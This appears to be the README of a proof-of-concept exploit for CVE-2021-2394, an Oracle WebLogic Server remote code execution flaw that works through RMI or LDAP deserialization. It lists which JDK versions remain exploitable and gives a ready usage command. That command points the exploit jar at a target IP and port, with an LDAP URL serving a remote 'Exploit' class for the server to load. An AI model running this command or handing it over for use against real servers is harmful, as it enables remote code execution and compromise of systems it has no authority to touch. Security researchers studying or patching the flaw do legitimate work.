
Proof-of-concept exploit for CVE-2021-2394, a remote code execution vulnerability in Oracle WebLogic Server. Uses LDAP or RMI deserialization to deliver a payload.
POC of CVE-2021-2394
Notes
RMI-based exploitation: JDK version limited to before 6u132, 7u131, 8u121. From 8u122 onwards, a deserialization whitelist mechanism was added, disabling remote code loading via RMI. LDAP-based exploitation: JDK version limited to before 6u211, 7u201, 8u191, 11.0.1. In version 8u191, Oracle imposed restrictions on LDAP vectors, released CVE-2018-3149, and closed JNDI remote class loading. From: https://www.freebuf.com/vuls/279465.html
Usage:
java -jar CVE_2021_2394.jar rhost rport ldapurljava -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/ExploitReferences:
Update
Analysis article